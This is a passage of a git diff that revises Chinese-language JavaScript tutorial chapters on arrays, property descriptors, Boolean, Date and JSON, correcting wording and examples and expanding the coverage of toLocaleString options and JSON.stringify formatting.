 function findLongest(entries) {
@@ -719,7 +752,7 @@ function findLongest(entries) {
 findLongest(['aaa', 'bb', 'c']) // "aaa"
 ```
 
-上面代码中，`reduce`的参数函数会将字符长度较长的那个数组成员，作为累积值。这导致遍历所有成员之后，累积值就是字符长度最长的那个成员。
+上面代码中，`reduce()`的参数函数会将字符长度较长的那个数组成员，作为累积值。这导致遍历所有成员之后，累积值就是字符长度最长的那个成员。
 
 ### indexOf()，lastIndexOf()
 
@@ -774,11 +807,13 @@ users
 .filter(function (email) {
   return /^t/.test(email);
 })
-.forEach(console.log);
+.forEach(function (email) {
+  console.log(email);
+});
 // "tom@example.com"
 ```
 
-上面代码中，先产生一个所有 Email 地址组成的数组，然后再过滤出以`t`开头的 Email 地址。
+上面代码中，先产生一个所有 Email 地址组成的数组，然后再过滤出以`t`开头的 Email 地址，最后将它打印出来。
 
 ## 参考链接
 
diff --git a/docs/stdlib/attributes.md b/docs/stdlib/attributes.md
index 6eea5ba..cad729f 100644
--- a/docs/stdlib/attributes.md
+++ b/docs/stdlib/attributes.md
@@ -33,7 +33,7 @@ JavaScript 提供了一个内部数据结构，用来描述对象的属性，控
 
 （4）`configurable`
 
-`configurable`是一个布尔值，表示可配置性，默认为`true`。如果设为`false`，将阻止某些操作改写该属性，比如无法删除该属性，也不得改变该属性的属性描述对象（`value`属性除外）。也就是说，`configurable`属性控制了属性描述对象的可写性。
+`configurable`是一个布尔值，表示属性的可配置性，默认为`true`。如果设为`false`，将阻止某些操作改写属性描述对象，比如无法删除该属性，也不得改变各种元属性（`value`属性除外）。也就是说，`configurable`属性控制了属性描述对象的可写性。
 
 （5）`get`
 
@@ -45,7 +45,7 @@ JavaScript 提供了一个内部数据结构，用来描述对象的属性，控
 
 ## Object.getOwnPropertyDescriptor()
 
-`Object.getOwnPropertyDescriptor`方法可以获取属性描述对象。它的第一个参数是一个对象，第二个参数是一个字符串，对应该对象的某个属性名。
+`Object.getOwnPropertyDescriptor()`方法可以获取属性描述对象。它的第一个参数是目标对象，第二个参数是一个字符串，对应目标对象的某个属性名。
 
 ```javascript
 var obj = { p: 'a' };
@@ -58,9 +58,9 @@ Object.getOwnPropertyDescriptor(obj, 'p')
 // }
 ```
 
-上面代码中，`Object.getOwnPropertyDescriptor`方法获取`obj.p`的属性描述对象。
+上面代码中，`Object.getOwnPropertyDescriptor()`方法获取`obj.p`的属性描述对象。
 
-注意，`Object.getOwnPropertyDescriptor`方法只能用于对象自身的属性，不能用于继承的属性。
+注意，`Object.getOwnPropertyDescriptor()`方法只能用于对象自身的属性，不能用于继承的属性。
 
 ```javascript
 var obj = { p: 'a' };
@@ -69,7 +69,7 @@ Object.getOwnPropertyDescriptor(obj, 'toString')
 // undefined
 ```
 
-上面代码中，`toString`是`Obj`对象继承的属性，`Object.getOwnPropertyDescriptor`无法获取。
+上面代码中，`toString`是`obj`对象继承的属性，`Object.getOwnPropertyDescriptor()`无法获取。
 
 ## Object.getOwnPropertyNames()
 
@@ -108,7 +108,7 @@ Object.getOwnPropertyNames(Object.prototype)
 
 ## Object.defineProperty()，Object.defineProperties()
 
-`Object.defineProperty`方法允许通过属性描述对象，定义或修改一个属性，然后返回修改后的对象，它的用法如下。
+`Object.defineProperty()`方法允许通过属性描述对象，定义或修改一个属性，然后返回修改后的对象，它的用法如下。
 
 ```javascript
 Object.defineProperty(object, propertyName, attributesObject)
@@ -116,9 +116,9 @@ Object.defineProperty(object, propertyName, attributesObject)
 
 `Object.defineProperty`方法接受三个参数，依次如下。
 
-- 属性所在的对象
-- 属性名（它应该是一个字符串）
-- 属性描述对象
+- object：属性所在的对象
+- propertyName：字符串，表示属性名
+- attributesObject：属性描述对象
 
 举例来说，定义`obj.p`可以写成下面这样。
 
@@ -136,11 +136,11 @@ obj.p = 246;
 obj.p // 123
 ```
 
-上面代码中，`Object.defineProperty`方法定义了`obj.p`属性。由于属性描述对象的`writable`属性为`false`，所以`obj.p`属性不可写。注意，这里的`Object.defineProperty`方法的第一个参数是`{}`（一个新建的空对象），`p`属性直接定义在这个空对象上面，然后返回这个对象，这是`Object.defineProperty`的常见写法。
+上面代码中，`Object.defineProperty()`方法定义了`obj.p`属性。由于属性描述对象的`writable`属性为`false`，所以`obj.p`属性不可写。注意，这里的`Object.defineProperty`方法的第一个参数是`{}`（一个新建的空对象），`p`属性直接定义在这个空对象上面，然后返回这个对象，这是`Object.defineProperty()`的常见用法。
 
-如果属性已经存在，`Object.defineProperty`方法相当于更新该属性的属性描述对象。
+如果属性已经存在，`Object.defineProperty()`方法相当于更新该属性的属性描述对象。
 
-如果一次性定义或修改多个属性，可以使用`Object.defineProperties`方法。
+如果一次性定义或修改多个属性，可以使用`Object.defineProperties()`方法。
 
 ```javascript
 var obj = Object.defineProperties({}, {
@@ -157,7 +157,7 @@ obj.p2 // "abc"
 obj.p3 // "123abc"
 ```
 
-上面代码中，`Object.defineProperties`同时定义了`obj`对象的三个属性。其中，`p3`属性定义了取值函数`get`，即每次读取该属性，都会调用这个取值函数。
+上面代码中，`Object.defineProperties()`同时定义了`obj`对象的三个属性。其中，`p3`属性定义了取值函数`get`，即每次读取该属性，都会调用这个取值函数。
 
 注意，一旦定义了取值函数`get`（或存值函数`set`），就不能将`writable`属性设为`true`，或者同时定义`value`属性，否则会报错。
 
@@ -181,7 +181,7 @@ Object.defineProperty(obj, 'p', {
 
 上面代码中，同时定义了`get`属性和`value`属性，以及将`writable`属性设为`true`，就会报错。
 
-`Object.defineProperty()`和`Object.defineProperties()`的第三个参数，是一个属性对象。它的`writable`、`configurable`、`enumerable`这三个属性的默认值都为`false`。
+`Object.defineProperty()`和`Object.defineProperties()`参数里面的属性描述对象，`writable`、`configurable`、`enumerable`这三个属性的默认值都为`false`。
 
 ```javascript
 var obj = {};
@@ -195,11 +195,11 @@ Object.getOwnPropertyDescriptor(obj, 'foo')
 // }
 ```
 
-上面代码中，定义`obj.p`时用了一个空的属性描述对象，就可以看到各个元属性的默认值。
+上面代码中，定义`obj.foo`时用了一个空的属性描述对象，就可以看到各个元属性的默认值。
 
 ## Object.prototype.propertyIsEnumerable()
 
-实例对象的`propertyIsEnumerable`方法返回一个布尔值，用来判断某个属性是否可遍历。
+实例对象的`propertyIsEnumerable()`方法返回一个布尔值，用来判断某个属性是否可遍历。注意，这个方法只能用于判断对象自身的属性，对于继承的属性一律返回`false`。
 
 ```javascript
 var obj = {};
@@ -209,7 +209,7 @@ obj.propertyIsEnumerable('p') // true
 obj.propertyIsEnumerable('toString') // false
 ```
 
-上面代码中，`obj.p`是可遍历的，而继承自原型对象的`obj.toString`属性是不可遍历的。
+上面代码中，`obj.p`是可遍历的，而`obj.toString`是继承的属性。
 
 ## 元属性
 
@@ -350,7 +350,7 @@ JSON.stringify(obj) // "{}"
 
 ### configurable
 
-`configurable`(可配置性）返回一个布尔值，决定了是否可以修改属性描述对象。也就是说，`configurable`为`false`时，`value`、`writable`、`enumerable`和`configurable`都不能被修改了。
+`configurable`(可配置性）返回一个布尔值，决定了是否可以修改属性描述对象。也就是说，`configurable`为`false`时，`writable`、`enumerable`和`configurable`都不能被修改了。
 
 ```javascript
 var obj = Object.defineProperty({}, 'p', {
@@ -360,9 +360,6 @@ var obj = Object.defineProperty({}, 'p', {
   configurable: false
 });
 
-Object.defineProperty(obj, 'p', {value: 2})
-// TypeError: Cannot redefine property: p
-
 Object.defineProperty(obj, 'p', {writable: true})
 // TypeError: Cannot redefine property: p
 
@@ -371,11 +368,14 @@ Object.defineProperty(obj, 'p', {enumerable: true})
 
 Object.defineProperty(obj, 'p', {configurable: true})
 // TypeError: Cannot redefine property: p
+
+Object.defineProperty(obj, 'p', {value: 2})
+// TypeError: Cannot redefine property: p
 ```
 
-上面代码中，`obj.p`的`configurable`为`false`。然后，改动`value`、`writable`、`enumerable`、`configurable`，结果都报错。
+上面代码中，`obj.p`的`configurable`属性为`false`。然后，改动`writable`、`enumerable`、`configurable`，结果都报错。
 
-注意，`writable`只有在`false`改为`true`会报错，`true`改为`false`是允许的。
+注意，`writable`属性只有在`false`改为`true`时会报错，`true`改为`false`是允许的。
 
 ```javascript
 var obj = Object.defineProperty({}, 'p', {
@@ -387,7 +387,7 @@ Object.defineProperty(obj, 'p', {writable: false})
 // 修改成功
 ```
 
-至于`value`，只要`writable`和`configurable`有一个为`true`，就允许改动。
+`value`属性的情况比较特殊。只要`writable`和`configurable`有一个为`true`，就允许改动`value`。
 
 ```javascript
 var o1 = Object.defineProperty({}, 'p', {
@@ -409,11 +409,12 @@ Object.defineProperty(o2, 'p', {value: 2})
 // 修改成功
 ```
 
-另外，`configurable`为`false`时，直接目标属性赋值，不报错，但不会成功。
+另外，`writable`为`false`时，直接对目标属性赋值，不报错，但不会成功。
 
 ```javascript
 var obj = Object.defineProperty({}, 'p', {
   value: 1,
+  writable: false,
   configurable: false
 });
 
@@ -421,7 +422,7 @@ obj.p = 2;
 obj.p // 1
 ```
 
-上面代码中，`obj.p`的`configurable`为`false`，对`obj.p`赋值是不会生效的。如果是严格模式，还会报错。
+上面代码中，`obj.p`的`writable`为`false`，对`obj.p`直接赋值不会生效。如果是严格模式，还会报错。
 
 可配置性决定了目标属性是否可以被删除（delete）。
 
@@ -444,7 +445,7 @@ obj.p2 // 2
 
 除了直接定义以外，属性还可以用存取器（accessor）定义。其中，存值函数称为`setter`，使用属性描述对象的`set`属性；取值函数称为`getter`，使用属性描述对象的`get`属性。
 
-一旦对目标属性定义了存取器，那么存取的时候，都将执行对应的函数。利用这个功能，可以实现许多高级特性，比如某个属性禁止赋值。
+一旦对目标属性定义了存取器，那么存取的时候，都将执行对应的函数。利用这个功能，可以实现许多高级特性，比如定制属性的读取和赋值行为。
 
 ```javascript
 var obj = Object.defineProperty({}, 'p', {
@@ -465,6 +466,7 @@ obj.p = 123 // "setter: 123"
 JavaScript 还提供了存取器的另一种写法。
 
 ```javascript
+// 写法二
 var obj = {
   get p() {
     return 'getter';
@@ -475,7 +477,7 @@ var obj = {
 };
 ```
 
-上面的写法与定义属性描述对象是等价的，而且使用更广泛。
+上面两种写法，虽然属性`p`的读取和赋值行为是一样的，但是有一些细微的区别。第一种写法，属性`p`的`configurable`和`enumerable`都为`false`，从而导致属性`p`是不可遍历的；第二种写法，属性`p`的`configurable`和`enumerable`都为`true`，因此属性`p`是可遍历的。实际开发中，写法二更常用。
 
 注意，取值函数`get`不能接受参数，存值函数`set`只能接受一个参数（即属性的值）。
 
@@ -550,7 +552,7 @@ extend({}, { get a(){ return 1 } })
 // { get a(){ return 1 } })
 ```
 
-上面代码中，`hasOwnProperty`那一行用来过滤掉继承的属性，否则会报错，因为`Object.getOwnPropertyDescriptor`读不到继承属性的属性描述对象。
+上面代码中，`hasOwnProperty`那一行用来过滤掉继承的属性，否则可能会报错，因为`Object.getOwnPropertyDescriptor`读不到继承属性的属性描述对象。
 
 ## 控制对象状态
 
@@ -633,7 +635,7 @@ Object.getOwnPropertyDescriptor(obj, 'p')
 //   configurable: false
 // }
 
-Object.defineProperty(o, 'p', {
+Object.defineProperty(obj, 'p', {
   enumerable: false
 })
 // TypeError: Cannot redefine property: p
@@ -780,4 +782,3 @@ obj.bar // ["a", "b", "c"]
 ```
 
 上面代码中，`obj.bar`属性指向一个数组，`obj`对象被冻结以后，这个指向无法改变，即无法指向其他值，但是所指向的数组是可以改变的。
-
diff --git a/docs/stdlib/boolean.md b/docs/stdlib/boolean.md
index 1eb39ff..f630824 100644
--- a/docs/stdlib/boolean.md
+++ b/docs/stdlib/boolean.md
@@ -56,6 +56,7 @@ Boolean(/foo/) // true
 !!0 // false
 !!'' // false
 !!NaN // false
+
 !!1 // true
 !!'false' // true
 !![] // true
diff --git a/docs/stdlib/date.md b/docs/stdlib/date.md
index c34bd99..d0475da 100644
--- a/docs/stdlib/date.md
+++ b/docs/stdlib/date.md
@@ -1,6 +1,6 @@
 # Date 对象
 
-`Date`对象是 JavaScript 原生的时间库。它以1970年1月1日00:00:00作为时间的零点，可以表示的时间范围是前后各1亿天（单位为毫秒）。
+`Date`对象是 JavaScript 原生的时间库。它以国际标准时间（UTC）1970年1月1日00:00:00作为时间的零点，可以表示的时间范围是前后各1亿天（单位为毫秒）。
 
 ## 普通函数的用法
 
@@ -78,10 +78,10 @@ new Date('02/15/2013')
 new Date('2013-FEB-15')
 new Date('FEB, 15, 2013')
 new Date('FEB 15, 2013')
-new Date('Feberuary, 15, 2013')
-new Date('Feberuary 15, 2013')
+new Date('February, 15, 2013')
+new Date('February 15, 2013')
 new Date('15 Feb 2013')
-new Date('15, Feberuary, 2013')
+new Date('15, February, 2013')
 // Fri Feb 15 2013 00:00:00 GMT+0800 (CST)
 ```
 
@@ -303,28 +303,108 @@ var d = new Date(2013, 0, 1);
 d.toTimeString() // "00:00:00 GMT+0800 (CST)"
 ```
 
-**（7）Date.prototype.toLocaleDateString()**
+**（7）本地时间**
 
-`toLocaleDateString`方法返回一个字符串，代表日期的当地写法（不含小时、分和秒）。
+以下三种方法，可以将 Date 实例转为表示本地时间的字符串。
+
+- `Date.prototype.toLocaleString()`：完整的本地时间。
+- `Date.prototype.toLocaleDateString()`：本地日期（不含小时、分和秒）。
+- `Date.prototype.toLocaleTimeString()`：本地时间（不含年月日）。
+
+下面是用法实例。
 
 ```javascript
 var d = new Date(2013, 0, 1);
 
+d.toLocaleString()
+// 中文版浏览器为"2013/1/1 00:00:00"
+// 英文版浏览器为"1/1/2013 12:00:00 AM"
+
 d.toLocaleDateString()
-// 中文版浏览器为"2013年1月1日"
+// 中文版浏览器为"2013/1/1"
 // 英文版浏览器为"1/1/2013"
+
+d.toLocaleTimeString()
+// 中文版浏览器为"00:00:00"
+// 英文版浏览器为"12:00:00 AM"
 ```
 
-**（8）Date.prototype.toLocaleTimeString()**
+这三个方法都有两个可选的参数。
 
-`toLocaleTimeString`方法返回一个字符串，代表时间的当地写法（不含年月日）。
+```javascript
+dateObj.toLocaleString([locales[, options]])
+dateObj.toLocaleDateString([locales[, options]])
+dateObj.toLocaleTimeString([locales[, options]])
+```
+
+这两个参数中，`locales`是一个指定所用语言的字符串，`options`是一个配置对象。下面是`locales`的例子，分别采用`en-US`和`zh-CN`语言设定。
 
 ```javascript
 var d = new Date(2013, 0, 1);
 
-d.toLocaleTimeString()
-// 中文版浏览器为"上午12:00:00"
-// 英文版浏览器为"12:00:00 AM"
+d.toLocaleString('en-US') // "1/1/2013, 12:00:00 AM"
+d.toLocaleString('zh-CN') // "2013/1/1 00:00:00"
+
+d.toLocaleDateString('en-US') // "1/1/2013"
+d.toLocaleDateString('zh-CN') // "2013/1/1"
+
+d.toLocaleTimeString('en-US') // "12:00:00 AM"
+d.toLocaleTimeString('zh-CN') // "00:00:00"
+```
+
+`options`配置对象有以下属性。
+
+- `dateStyle`：可能的值为`full`、`long`、`medium`、`short`。
+- `timeStyle`：可能的值为`full`、`long`、`medium`、`short`。
+- `month`：可能的值为`numeric`、`2-digit`、`long`、`short`、`narrow`。
+- `year`：可能的值为`numeric`、`2-digit`。
+- `weekday`：可能的值为`long`、`short`、`narrow`。
+- `day`、`hour`、`minute`、`second`：可能的值为`numeric`、`2-digit`。
+- `timeZone`：可能的值为 IANA 的时区数据库。
+- `timeZoneName`：可能的值为`long`、`short`。
+- `hour12`：24小时周期还是12小时周期，可能的值为`true`、`false`。
+
+下面是用法实例。
+
+```javascript
+var d = new Date(2013, 0, 1);
+
+d.toLocaleDateString('en-US', {
+  weekday: 'long',
+  year: 'numeric',
+  month: 'long',
+  day: 'numeric'
+})
+// "Tuesday, January 1, 2013"
+
+d.toLocaleDateString('en-US', {
+  day: "2-digit",
+  month: "long",
+  year: "2-digit"
+});
+// "January 01, 13"
+
+d.toLocaleTimeString('en-US', {
+  timeZone: 'UTC',
+  timeZoneName: 'short'
+})
+// "4:00:00 PM UTC"
+
+d.toLocaleTimeString('en-US', {
+  timeZone: 'Asia/Shanghai',
+  timeZoneName: 'long'
+})
+// "12:00:00 AM China Standard Time"
+
+d.toLocaleTimeString('en-US', {
+  hour12: false
+})
+// "00:00:00"
+
+d.toLocaleTimeString('en-US', {
+  hour12: true
+})
+// "12:00:00 AM"
 ```
 
 ### get 类方法
@@ -334,7 +414,6 @@ d.toLocaleTimeString()
 - `getTime()`：返回实例距离1970年1月1日00:00:00的毫秒数，等同于`valueOf`方法。
 - `getDate()`：返回实例对象对应每个月的几号（从1开始）。
 - `getDay()`：返回星期几，星期日为0，星期一为1，以此类推。
-- `getYear()`：返回距离1900的年数。
 - `getFullYear()`：返回四位的年份。
 - `getMonth()`：返回月份（0表示1月，11表示12月）。
 - `getHours()`：返回小时（0-23）。
@@ -350,14 +429,12 @@ d.toLocaleTimeString()
 - 星期：0（星期天）到 6（星期六）
 - 日期：1 到 31
 - 月份：0（一月）到 11（十二月）
-- 年份：距离1900年的年数
 
 ```javascript
 var d = new Date('January 6, 2013');
 
 d.getDate() // 6
 d.getMonth() // 0
-d.getYear() // 113
 d.getFullYear() // 2013
 d.getTimezoneOffset() // -480
 ```
@@ -400,10 +477,9 @@ d.getUTCDate() // 5
 `Date`对象提供了一系列`set*`方法，用来设置实例对象的各个方面。
 
 - `setDate(date)`：设置实例对象对应的每个月的几号（1-31），返回改变后毫秒时间戳。
-- `setYear(year)`: 设置距离1900年的年数。
 - `setFullYear(year [, month, date])`：设置四位年份。
 - `setHours(hour [, min, sec, ms])`：设置小时（0-23）。
-- `setMilliseconds()`：设置毫秒（0-999）。
+- `setMilliseconds(ms)`：设置毫秒（0-999）。
 - `setMinutes(min [, sec, ms])`：设置分钟（0-59）。
 - `setMonth(month [, date])`：设置月份（0-11）。
 - `setSeconds(sec [, ms])`：设置秒（0-59）。
@@ -419,7 +495,7 @@ d.setDate(9) // 1357660800000
 d // Wed Jan 09 2013 00:00:00 GMT+0800 (CST)
 ```
 
-`set*`方法的参数都会自动折算。以`setDate`为例，如果参数超过当月的最大天数，则向下一个月顺延，如果参数是负数，表示从上个月的最后一天开始减去的天数。
+`set*`方法的参数都会自动折算。以`setDate()`为例，如果参数超过当月的最大天数，则向下一个月顺延，如果参数是负数，表示从上个月的最后一天开始减去的天数。
 
 ```javascript
 var d1 = new Date('January 6, 2013');
@@ -429,10 +505,12 @@ d1 // Fri Feb 01 2013 00:00:00 GMT+0800 (CST)
 
 var d2 = new Date ('January 6, 2013');
 
-d.setDate(-1) // 1356796800000
-d // Sun Dec 30 2012 00:00:00 GMT+0800 (CST)
+d2.setDate(-1) // 1356796800000
+d2 // Sun Dec 30 2012 00:00:00 GMT+0800 (CST)
 ```
 
+上面代码中，`d1.setDate(32)`将日期设为1月份的32号，因为1月份只有31号，所以自动折算为2月1日。`d2.setDate(-1)`表示设为上个月的倒数第二天，即12月30日。
+
 `set`类方法和`get`类方法，可以结合使用，得到相对时间。
 
 ```javascript
@@ -446,7 +524,7 @@ d.setHours(d.getHours() + 6);
 d.setFullYear(d.getFullYear() - 1);
 ```
 
-`set*`系列方法除了`setTime()`和`setYear()`，都有对应的 UTC 版本，即设置 UTC 时区的时间。
+`set*`系列方法除了`setTime()`，都有对应的 UTC 版本，即设置 UTC 时区的时间。
 
 - `setUTCDate()`
 - `setUTCFullYear()`
@@ -467,5 +545,5 @@ d // Sun Jan 06 2013 06:00:00 GMT+0800 (CST)
 
 ## 参考链接
 
-- Rakhitha Nimesh，[Getting Started with the Date Object](http://jspro.com/raw-javascript/beginners-guide-to-javascript-date-and-time/)
-- Ilya Kantor, [Date/Time functions](http://javascript.info/tutorial/datetime-functions)
+- Rakhitha Nimesh，[Getting Started with the Date Object](https://www.sitepoint.com/beginners-guide-to-javascript-date-and-time/)
+- Ilya Kantor, [Date/Time functions](https://javascript.info/date)
diff --git a/docs/stdlib/json.md b/docs/stdlib/json.md
index bb7001a..c395d46 100644
--- a/docs/stdlib/json.md
+++ b/docs/stdlib/json.md
@@ -59,7 +59,7 @@ JSON 对值的类型和格式有严格的规定。
 
 ### 基本用法
 
-`JSON.stringify`方法用于将一个值转为 JSON 字符串。该字符串符合 JSON 格式，并且可以被`JSON.parse`方法还原。
+`JSON.stringify()`方法用于将一个值转为 JSON 字符串。该字符串符合 JSON 格式，并且可以被`JSON.parse()`方法还原。
 
 ```javascript
 JSON.stringify('abc') // ""abc""
@@ -84,7 +84,7 @@ JSON.stringify('foo') === "foo" // false
 JSON.stringify('foo') === "\"foo\"" // true
 ```
 
-上面代码中，字符串`foo`，被转成了`"\"foo"\"`。这是因为将来还原的时候，内层双引号可以让 JavaScript 引擎知道，这是一个字符串，而不是其他类型的值。
+上面代码中，字符串`foo`，被转成了`"\"foo\""`。这是因为将来还原的时候，内层双引号可以让 JavaScript 引擎知道，这是一个字符串，而不是其他类型的值。
 
 ```javascript
 JSON.stringify(false) // "false"
@@ -93,7 +93,7 @@ JSON.stringify('false') // "\"false\""
 
 上面代码中，如果不是内层的双引号，将来还原的时候，引擎就无法知道原始值是布尔值还是字符串。
 
-如果对象的属性是`undefined`、函数或 XML 对象，该属性会被`JSON.stringify`过滤。
+如果对象的属性是`undefined`、函数或 XML 对象，该属性会被`JSON.stringify()`过滤。
 
 ```javascript
 var obj = {
@@ -121,7 +121,7 @@ JSON.stringify(arr) // "[null,null]"
 JSON.stringify(/foo/) // "{}"
 ```
 
-`JSON.stringify`方法会忽略对象的不可遍历属性。
+`JSON.stringify()`方法会忽略对象的不可遍历的属性。
 
 ```javascript
 var obj = {};
@@ -143,7 +143,7 @@ JSON.stringify(obj); // "{"foo":1}"
 
 ### 第二个参数
 
-`JSON.stringify`方法还可以接受一个数组，作为第二个参数，指定需要转成字符串的属性。
+`JSON.stringify()`方法还可以接受一个数组，作为第二个参数，指定参数对象的哪些属性需要转成字符串。
 
 ```javascript
 var obj = {
@@ -158,7 +158,7 @@ JSON.stringify(obj, selectedProperties)
 // "{"prop1":"value1","prop2":"value2"}"
 ```
 
-上面代码中，`JSON.stringify`方法的第二个参数指定，只转`prop1`和`prop2`两个属性。
+上面代码中，`JSON.stringify()`方法的第二个参数指定，只转`prop1`和`prop2`两个属性。
 
 这个类似白名单的数组，只对对象的属性有效，对数组无效。
 
@@ -172,7 +172,7 @@ JSON.stringify({0: 'a', 1: 'b'}, ['0'])
 
 上面代码中，第二个参数指定 JSON 格式只转`0`号属性，实际上对数组是无效的，只对对象有效。
 
-第二个参数还可以是一个函数，用来更改`JSON.stringify`的返回值。
+第二个参数还可以是一个函数，用来更改`JSON.stringify()`的返回值。
 
 ```javascript
 function f(key, value) {
@@ -191,26 +191,26 @@ JSON.stringify({ a: 1, b: 2 }, f)
 注意，这个处理函数是递归处理所有的键。
 
 ```javascript
-var o = {a: {b: 1}};
+var obj = {a: {b: 1}};
 
 function f(key, value) {
   console.log("["+ key +"]:" + value);
   return value;
 }
 
-JSON.stringify(o, f)
+JSON.stringify(obj, f)
 // []:[object Object]
 // [a]:[object Object]
 // [b]:1
 // '{"a":{"b":1}}'
 ```
 
-上面代码中，对象`o`一共会被`f`函数处理三次，最后那行是`JSON.stringify`的输出。第一次键名为空，键值是整个对象`o`；第二次键名为`a`，键值是`{b: 1}`；第三次键名为`b`，键值为1。
+上面代码中，对象`obj`一共会被`f`函数处理三次，输出的最后那行是`JSON.stringify()`的默认输出。第一次键名为空，键值是整个对象`obj`；第二次键名为`a`，键值是`{b: 1}`；第三次键名为`b`，键值为1。
 
 递归处理中，每一次处理的对象，都是前一次返回的值。
 
 ```javascript
-var o = {a: 1};
+var obj = {a: 1};
 
 function f(key, value) {
   if (typeof value === 'object') {
@@ -219,11 +219,11 @@ function f(key, value) {
   return value * 2;
 }
 
-JSON.stringify(o, f)
+JSON.stringify(obj, f)
 // "{"b": 4}"
 ```
 
-上面代码中，`f`函数修改了对象`o`，接着`JSON.stringify`方法就递归处理修改后的对象`o`。
+上面代码中，`f`函数修改了对象`obj`，接着`JSON.stringify()`方法就递归处理修改后的对象`obj`。
 
 如果处理函数返回`undefined`或没有返回值，则该属性会被忽略。
 
@@ -243,7 +243,26 @@ JSON.stringify({ a: "abc", b: 123 }, f)
 
 ### 第三个参数
 
-`JSON.stringify`还可以接受第三个参数，用于增加返回的 JSON 字符串的可读性。如果是数字，表示每个属性前面添加的空格（最多不超过10个）；如果是字符串（不超过10个字符），则该字符串会添加在每行前面。
+`JSON.stringify()`还可以接受第三个参数，用于增加返回的 JSON 字符串的可读性。
+
+默认返回的是单行字符串，对于大型的 JSON 对象，可读性非常差。第三个参数使得每个属性单独占据一行，并且将每个属性前面添加指定的前缀（不超过10个字符）。
+
+```javascript
+// 默认输出
+JSON.stringify({ p1: 1, p2: 2 })
+// JSON.stringify({ p1: 1, p2: 2 })
+
+// 分行输出
+JSON.stringify({ p1: 1, p2: 2 }, null, '\t')
+// {
+// 	"p1": 1,
+// 	"p2": 2
+// }
+```
+
+上面例子中，第三个属性`\t`在每个属性前面添加一个制表符，然后分行显示。
+
+第三个属性如果是一个数字，则表示每个属性前面添加的空格（最多不超过10个）。
 
 ```javascript
 JSON.stringify({ p1: 1, p2: 2 }, null, 2);
@@ -253,19 +272,11 @@ JSON.stringify({ p1: 1, p2: 2 }, null, 2);
   "p2": 2
 }"
 */
-
-JSON.stringify({ p1:1, p2:2 }, null, '|-');
-/*
-"{
-|-"p1": 1,
-|-"p2": 2
-}"
-*/
 ```
 
-### 参数对象的 toJSON 方法
+### 参数对象的 toJSON() 方法
 
-如果参数对象有自定义的`toJSON`方法，那么`JSON.stringify`会使用这个方法的返回值作为参数，而忽略原对象的其他属性。
+如果参数对象有自定义的`toJSON()`方法，那么`JSON.stringify()`会使用这个方法的返回值作为参数，而忽略原对象的其他属性。
 
 下面是一个普通的对象。
 
@@ -283,7 +294,7 @@ JSON.stringify(user)
 // "{"firstName":"三","lastName":"张","fullName":"张三"}"
 ```
 
-现在，为这个对象加上`toJSON`方法。
+现在，为这个对象加上`toJSON()`方法。
 
 ```javascript
 var user = {
@@ -305,9 +316,9 @@ JSON.stringify(user)
 // "{"name":"张三"}"
 ```
 
-上面代码中，`JSON.stringify`发现参数对象有`toJSON`方法，就直接使用这个方法的返回值作为参数，而忽略原对象的其他参数。
+上面代码中，`JSON.stringify()`发现参数对象有`toJSON()`方法，就直接使用这个方法的返回值作为参数，而忽略原对象的其他参数。
 
-`Date`对象就有一个自己的`toJSON`方法。
+`Date`对象就有一个自己的`toJSON()`方法。
 
 ```javascript
 var date = new Date('2015-01-01');
@@ -315,9 +326,9 @@ date.toJSON() // "2015-01-01T00:00:00.000Z"
 JSON.stringify(date) // ""2015-01-01T00:00:00.000Z""
 ```
 
-上面代码中，`JSON.stringify`发现处理的是`Date`对象实例，就会调用这个实例对象的`toJSON`方法，将该方法的返回值作为参数。
+上面代码中，`JSON.stringify()`发现处理的是`Date`对象实例，就会调用这个实例对象的`toJSON()`方法，将该方法的返回值作为参数。
 
-`toJSON`方法的一个应用是，将正则对象自动转为字符串。因为`JSON.stringify`默认不能转换正则对象，但是设置了`toJSON`方法以后，就可以转换正则对象了。
+`toJSON()`方法的一个应用是，将正则对象自动转为字符串。因为`JSON.stringify()`默认不能转换正则对象，但是设置了`toJSON()`方法以后，就可以转换正则对象了。
 
 ```javascript
 var obj = {
@@ -332,11 +343,11 @@ RegExp.prototype.toJSON = RegExp.prototype.toString;
 JSON.stringify(/foo/) // ""/foo/""
 ```
 
-上面代码在正则对象的原型上面部署了`toJSON`方法，将其指向`toString`方法，因此遇到转换成`JSON`时，正则对象就先调用`toJSON`方法转为字符串，然后再被`JSON.stingify`方法处理。
+上面代码在正则对象的原型上面部署了`toJSON()`方法，将其指向`toString()`方法，因此转换成 JSON 格式时，正则对象就先调用`toJSON()`方法转为字符串，然后再被`JSON.stringify()`方法处理。
 
 ## JSON.parse()
 
-`JSON.parse`方法用于将 JSON 字符串转换成对应的值。
+`JSON.parse()`方法用于将 JSON 字符串转换成对应的值。
 
 ```javascript
 JSON.parse('{}') // {}
@@ -349,7 +360,7 @@ var o = JSON.parse('{"name": "张三"}');
 o.name // 张三
 ```
 
-如果传入的字符串不是有效的 JSON 格式，`JSON.parse`方法将报错。
+如果传入的字符串不是有效的 JSON 格式，`JSON.parse()`方法将报错。
 
 ```javascript
 JSON.parse("'String'") // illegal single quotes
@@ -358,7 +369,7 @@ JSON.parse("'String'") // illegal single quotes
 
 上面代码中，双引号字符串中是一个单引号字符串，因为单引号字符串不符合 JSON 格式，所以报错。
 
-为了处理解析错误，可以将`JSON.parse`方法放在`try...catch`代码块中。
+为了处理解析错误，可以将`JSON.parse()`方法放在`try...catch`代码块中。
 
 ```javascript
 try {
@@ -368,7 +379,7 @@ try {
 }
 ```
 
-`JSON.parse`方法可以接受一个处理函数，作为第二个参数，用法与`JSON.stringify`方法类似。
+`JSON.parse()`方法可以接受一个处理函数，作为第二个参数，用法与`JSON.stringify()`方法类似。
 
 ```javascript
 function f(key, value) {
@@ -382,7 +393,16 @@ JSON.parse('{"a": 1, "b": 2}', f)
 // {a: 11, b: 2}
 ```
 
-上面代码中，`JSON.parse`的第二个参数是一个函数，如果键名是`a`，该函数会将键值加上10。
+上面代码中，`JSON.parse()`的第二个参数是一个函数，如果键名是`a`，该函数会将键值加上10。
+
+`JSON.parse()`和`JSON.stringify()`可以结合使用，像下面这样写，实现对象的深拷贝。
+
+```javascript
+JSON.parse(JSON.stringify(obj))
+```
+
+上面这种写法，可以深度克隆一个对象，但是对象内部不能有 JSON
+不允许的数据类型，比如函数、正则对象、日期对象等。
 
 ## 参考链接
 
@@ -390,4 +410,4 @@ JSON.parse('{"a": 1, "b": 2}', f)
 - MDN, [JSON.parse](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/JSON/parse)
